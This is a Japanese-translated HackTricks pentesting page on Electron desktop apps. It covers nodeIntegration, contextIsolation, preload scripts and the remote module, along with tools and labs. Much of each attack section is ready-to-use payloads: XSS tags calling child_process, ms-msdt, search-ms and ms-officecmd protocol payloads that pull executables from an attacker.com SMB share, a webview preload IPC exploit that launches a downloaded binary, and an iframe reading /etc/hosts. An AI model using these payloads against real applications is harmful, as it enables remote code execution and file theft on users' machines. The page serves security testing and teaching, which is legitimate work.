Electron Desktop Apps
Reading time: 25 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Introduction
Electronは、ローカルバックエンド(NodeJS)とフロントエンド(Chromium)を組み合わせていますが、最新のブラウザのセキュリティメカニズムのいくつかが欠けています。
通常、Electronアプリのコードは.asar
アプリケーション内に見つかります。コードを取得するには、抽出する必要があります:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
Electronアプリのソースコード内のpacket.json
には、セキュリティ設定が行われているmain.js
ファイルが指定されています。
{
"name": "standard-notes",
"main": "./app/index.js",
Electronには2つのプロセスタイプがあります:
- メインプロセス(NodeJSへの完全なアクセス権を持つ)
- レンダラープロセス(セキュリティ上の理由からNodeJSへのアクセスが制限されるべき)
レンダラープロセスは、ファイルを読み込むブラウザウィンドウになります:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
renderer processの設定は、main.jsファイル内のmain processで構成できます。いくつかの設定は、設定が正しく構成されている場合、ElectronアプリケーションがRCEやその他の脆弱性を持つのを防ぐことができます。
Electronアプリケーションは、Node APIを介してデバイスにアクセスすることができますが、それを防ぐように構成することもできます:
nodeIntegration
- デフォルトではoff
です。オンの場合、renderer processからNode機能にアクセスできます。contextIsolation
- デフォルトではon
です。オフの場合、mainとrendererプロセスは隔離されません。preload
- デフォルトでは空です。sandbox
- デフォルトではオフです。NodeJSが実行できるアクションを制限します。- WorkersにおけるNode Integration
nodeIntegrationInSubframes
- デフォルトではoff
です。nodeIntegration
が有効になっている場合、これはElectronアプリケーション内のiframeで読み込まれたウェブページでNode.js APIsの使用を許可します。nodeIntegration
が無効になっている場合、preloadsはiframe内で読み込まれます。
構成の例:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
いくつかの RCEペイロード は here から:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
トラフィックのキャプチャ
start-main構成を変更し、次のようなプロキシの使用を追加します:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electronローカルコードインジェクション
Electronアプリをローカルで実行できる場合、任意のJavaScriptコードを実行させることが可能です。方法は以下を確認してください:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
nodeIntegrationがonに設定されている場合、ウェブページのJavaScriptはrequire()
を呼び出すだけでNode.jsの機能を簡単に使用できます。例えば、Windowsで計算機アプリケーションを実行する方法は次の通りです:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
この設定で示されたスクリプトは、レンダラー内の他のスクリプトの前に読み込まれ、したがってNode APIへの無制限のアクセスを持ちます:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
したがって、スクリプトはnode-featuresをページにエクスポートできます:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] >
contextIsolation
がオンの場合、これは機能しません
RCE: XSS + contextIsolation
contextIsolation は、ウェブページのスクリプトとJavaScript Electronの内部コードの間に分離されたコンテキストを導入し、各コードのJavaScript実行が互いに影響を与えないようにします。これはRCEの可能性を排除するために必要な機能です。
コンテキストが分離されていない場合、攻撃者は以下のことができます:
- レンダラーで任意のJavaScriptを実行(XSSまたは外部サイトへのナビゲーション)
- プリロードまたはElectron内部コードで使用される組み込みメソッドを上書きして自分の関数にする
- 上書きされた関数の使用をトリガー
- RCE?
組み込みメソッドを上書きできる場所は2つあります:プリロードコードまたはElectron内部コード:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
クリックイベントのバイパス
リンクをクリックする際に制限が適用されている場合、通常の左クリックの代わりにミドルクリックを行うことでそれらをバイパスできるかもしれません。
window.addEventListener('click', (e) => {
RCE via shell.openExternal
この例に関する詳細はhttps://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8およびhttps://benjamin-altpeter.de/shell-openexternal-dangers/を確認してください。
Electronデスクトップアプリケーションを展開する際には、nodeIntegration
とcontextIsolation
の設定が正しいことを確認することが重要です。**クライアント側のリモートコード実行(RCE)**がプリロードスクリプトやメインプロセスからのElectronのネイティブコードをターゲットにする場合、これらの設定が整っていれば効果的に防止されることが確立されています。
ユーザーがリンクと対話したり新しいウィンドウを開いたりすると、特定のイベントリスナーがトリガーされ、アプリケーションのセキュリティと機能にとって重要です:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
これらのリスナーはデスクトップアプリケーションによってオーバーライドされ、独自のビジネスロジックを実装します。アプリケーションは、ナビゲートされたリンクが内部で開かれるべきか、外部のウェブブラウザで開かれるべきかを評価します。この決定は通常、openInternally
という関数を通じて行われます。この関数がfalse
を返す場合、リンクは外部で開かれるべきであり、shell.openExternal
関数を利用します。
以下は簡略化された擬似コードです:
Electron JSのセキュリティベストプラクティスは、openExternal
関数で信頼できないコンテンツを受け入れることを避けるように助言しています。これは、さまざまなプロトコルを通じてRCEを引き起こす可能性があります。オペレーティングシステムは、RCEを引き起こす可能性のある異なるプロトコルをサポートしています。このトピックに関する詳細な例とさらなる説明については、このリソースを参照してください。ここには、この脆弱性を悪用できるWindowsプロトコルの例が含まれています。
macOSでは、openExternal
関数を悪用して、shell.openExternal('file:///System/Applications/Calculator.app')
のように任意のコマンドを実行できます。
Windowsプロトコルの悪用の例には:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + 脆弱なプリロードIPC + shell.openExternal
この脆弱性は**このレポート**にあります。
webviewTagは非推奨の機能で、レンダラープロセス内でNodeJSを使用することを可能にします。これは、プリロードコンテキスト内でスクリプトを読み込むことを許可するため、無効にするべきです。
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
したがって、任意のページを読み込むことができる攻撃者は、そのタグを使用して任意のプリロードスクリプトを読み込むことができます。
このプリロードスクリプトは、その後、**脆弱なIPCサービス(skype-new-window
)を呼び出すために悪用され、shell.openExternal
**を呼び出してRCEを取得しました:
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
内部ファイルの読み取り: XSS + contextIsolation
contextIsolation
を無効にすると、ローカルファイルを読み取るために<webview>
タグを使用できるようになります。これは<iframe>
に似ています。この脆弱性を利用して内部ファイルの内容を読み取る方法の例が示されています:
さらに、内部ファイルを読み取るための別の方法が共有されており、Electronデスクトップアプリにおける重要なローカルファイル読み取りの脆弱性が強調されています。これには、アプリケーションを悪用しデータを抽出するためのスクリプトを注入することが含まれます:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Old Chromium
もしアプリケーションで使用されているchromiumが古いもので、既知の****脆弱性がある場合、XSSを通じてそれを****悪用してRCEを取得することが可能かもしれません。
このwriteupの例を参照してください: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing via Internal URL regex bypass
XSSを見つけたが、RCEをトリガーできないか内部ファイルを盗むことができない場合、フィッシングを通じて資格情報を盗むためにそれを使用することを試みることができます。
まず最初に、新しいURLを開こうとしたときに何が起こるかを知る必要があります。フロントエンドのJSコードを確認してください:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
openInternally
への呼び出しは、リンクがプラットフォームに属するリンクであるため、デスクトップウィンドウで開かれるか、ブラウザで3rdパーティリソースとして開かれるかを決定します。
関数によって使用されるregexがバイパスに対して脆弱な場合(例えば、サブドメインのドットをエスケープしない場合)、攻撃者はXSSを悪用して、攻撃者のインフラストラクチャに位置する新しいウィンドウを開き、ユーザーに認証情報を要求することができます。
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
file://
プロトコル
ドキュメントに記載されているように、file://
で実行されるページは、あなたのマシン上のすべてのファイルに一方的にアクセスできるため、XSSの問題を利用してユーザーのマシンから任意のファイルを読み込むことができます。カスタムプロトコルを使用することで、このような問題を防ぐことができ、プロトコルを特定のファイルセットのみを提供するように制限できます。
リモートモジュール
Electronのリモートモジュールは、レンダラープロセスがメインプロセスのAPIにアクセスすることを可能にし、Electronアプリケーション内の通信を促進します。しかし、このモジュールを有効にすると、重大なセキュリティリスクが生じます。アプリケーションの攻撃面が拡大し、クロスサイトスクリプティング(XSS)攻撃などの脆弱性に対してより脆弱になります。
tip
リモートモジュールは、メインからレンダラーへのプロセスにいくつかのAPIを公開しますが、コンポーネントを悪用するだけでRCEを取得するのは簡単ではありません。しかし、コンポーネントは機密情報を公開する可能性があります。
warning
リモートモジュールをまだ使用している多くのアプリは、レンダラープロセスでNodeIntegrationを有効にする必要がある方法で実装されており、これは大きなセキュリティリスクです。
Electron 14以降、Electronのremote
モジュールは、セキュリティとパフォーマンスの理由からいくつかのステップで有効にする必要があり、使用しないことが推奨されています。
これを有効にするには、まずメインプロセスで有効にする必要があります:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
その後、レンダラープロセスは、モジュールからオブジェクトを次のようにインポートできます:
import { dialog, getCurrentWindow } from '@electron/remote'
ブログ記事 は、リモートモジュールのオブジェクト app
によって公開されているいくつかの興味深い 関数 を示しています:
app.relaunch([options])
- 現在のインスタンスを終了し、新しいインスタンスを起動することでアプリケーションを再起動します。アプリの更新や重要な状態変更に便利です。
app.setAppLogsPath([path])
- アプリログを保存するためのディレクトリを定義または作成します。ログは
app.getPath()
またはapp.setPath(pathName, newPath)
を使用して取得または変更できます。 app.setAsDefaultProtocolClient(protocol[, path, args])
- 指定されたプロトコルのデフォルトハンドラーとして現在の実行可能ファイルを登録します。必要に応じてカスタムパスと引数を提供できます。
app.setUserTasks(tasks)
- ジャンプリストのタスクカテゴリにタスクを追加します(Windows上)。各タスクはアプリがどのように起動されるか、またはどの引数が渡されるかを制御できます。
app.importCertificate(options, callback)
- システムの証明書ストアにPKCS#12証明書をインポートします(Linuxのみ)。コールバックを使用して結果を処理できます。
app.moveToApplicationsFolder([options])
- アプリケーションをアプリケーションフォルダに移動します(macOS上)。Macユーザーのための標準インストールを確保するのに役立ちます。
app.setJumpList(categories)
- Windows上でカスタムジャンプリストを設定または削除します。タスクがユーザーにどのように表示されるかを整理するためにカテゴリを指定できます。
app.setLoginItemSettings(settings)
- ログイン時に起動する実行可能ファイルとそのオプションを構成します(macOSおよびWindowsのみ)。
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences モジュール
Electron におけるシステム設定にアクセスし、システムイベントを発信するための 主要な API。subscribeNotification、subscribeWorkspaceNotification、getUserDefault、および setUserDefault のようなメソッドはすべてこのモジュールの 一部 です。
使用例:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- ネイティブmacOS通知をNSDistributedNotificationCenterを使用してリッスンします。
- macOS Catalina以前は、CFNotificationCenterAddObserverにnilを渡すことですべての配布通知をスニッフィングできました。
- Catalina / Big Sur以降、サンドボックス化されたアプリは、通知を名前で登録することで、多くのイベント(例えば、画面のロック/ロック解除、ボリュームのマウント、ネットワークアクティビティなど)にサブスクライブできます。
getUserDefault / setUserDefault
-
NSUserDefaultsとインターフェースし、macOS上のアプリケーションまたはグローバルな設定を保存します。
-
getUserDefaultは、最近のファイルの場所やユーザーの地理的位置などの機密情報を取得できます。
-
setUserDefaultは、これらの設定を変更でき、アプリの構成に影響を与える可能性があります。
-
古いElectronバージョン(v8.3.0以前)では、標準スイートのNSUserDefaultsのみがアクセス可能でした。
Shell.showItemInFolder
この関数は、指定されたファイルをファイルマネージャーで表示し、ファイルを自動的に実行する可能性があります。
詳細については、https://blog.doyensec.com/2021/02/16/electron-apis-misuse.htmlを確認してください。
Content Security Policy
Electronアプリは、XSS攻撃を防ぐためにContent Security Policy (CSP)を持つべきです。CSPは、ブラウザ内での信頼できないコードの実行を防ぐのに役立つセキュリティ標準です。
通常、main.js
ファイルまたはindex.html
テンプレート内のmetaタグ内にCSPを設定します。
詳細については、以下を確認してください:
Content Security Policy (CSP) Bypass
Tools
- Electronegativityは、Electronベースのアプリケーションにおける設定ミスやセキュリティアンチパターンを特定するためのツールです。
- Electrolintは、Electronegativityを使用するElectronアプリケーション用のオープンソースのVS Codeプラグインです。
- nodejsscanは、脆弱なサードパーティライブラリをチェックします。
- Electro.ng: 購入が必要です。
Labs
https://www.youtube.com/watch?v=xILfQGkLXQo&t=22sで脆弱なElectronアプリを悪用するためのラボを見つけることができます。
ラボを手助けするいくつかのコマンド:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
参考文献
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- Electronのセキュリティに関するさらなる研究と記事はhttps://github.com/doyensec/awesome-electronjs-hackingで確認できます。
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。